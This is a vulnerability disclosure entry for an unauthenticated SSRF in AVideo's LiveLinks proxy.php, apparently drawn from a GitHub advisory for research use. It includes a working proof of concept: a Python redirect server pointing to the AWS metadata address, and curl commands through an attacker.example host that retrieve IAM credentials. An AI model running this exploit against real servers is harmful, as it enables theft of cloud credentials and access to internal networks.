# AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy

Unauthenticated SSRF in AVideo's LiveLinks proxy.php: initial URL passes isSSRFSafeURL() but an attacker-controlled 302 redirect to 169.254.169.254 is fetched by fakeBrowser() without re-validation, leaking cloud metadata and IAM credentials.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: bugbunny-research
- Disclosed: 2026-03-17
- CVE: CVE-2026-33039
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9x67-f2v7-63rw
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-9x67-f2v7-63rw
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:php technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:ssrf

**Target:** plugin/LiveLinks/proxy.php endpoint (livelink parameter) and fakeBrowser() cURL helper
**Root cause:** SSRF validation via isSSRFSafeURL() is applied only to the user-supplied URL; the Location header from get_headers() is passed to fakeBrowser() without re-validation, and fakeBrowser() performs a raw cURL fetch with no IP/scheme checks.
**Steps:**
1. Host an attacker server returning `302` with `Location: http://169.254.169.254/latest/meta-data/`.
2. Request `https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect`.
3. proxy.php passes isSSRFSafeURL() on the attacker URL, then get_headers() follows the redirect and fakeBrowser() fetches the metadata body.
4. Strip the `http://169.254.169.254:` prefix from each response line to recover metadata.
5. Redirect instead to `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>` to obtain AccessKeyId/SecretAccessKey/Token.
**How found:** Code review of the SSRF defense pattern: isSSRFSafeURL() is used in 5 other callers, but proxy.php is the only one that follows HTTP redirects and the only one that fails to re-validate after following them; fakeBrowser() was then confirmed to lack any URL validation.
**Exploitation:** Fully unauthenticated: attacker needs only network reach to the AVideo instance plus an external redirector. The redirect target is fetched twice (headers via get_headers, body via fakeBrowser) and the body is returned to the attacker, enabling metadata/IAM credential theft and internal network probing.
**Escalation:** Pivot from metadata listing to IAM role credential theft, then use the temporary AWS keys against cloud resources; also probe RFC1918 and localhost HTTP services.
**Insight:** When a codebase has a shared SSRF validator, enumerate every caller and check which ones follow redirects or re-resolve the URL — the redirect-following caller is the odd one out and the bypass. Also check the fetch helper itself (fakeBrowser) for missing scheme/IP restrictions.

## Proof of concept (copied exactly from the original report)

**Attacker redirect server returning 302 to metadata**

```
# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
```

**curl request to proxy.php triggering SSRF**

```
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"
```

**IAM credential theft via redirect**

```
# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"
```

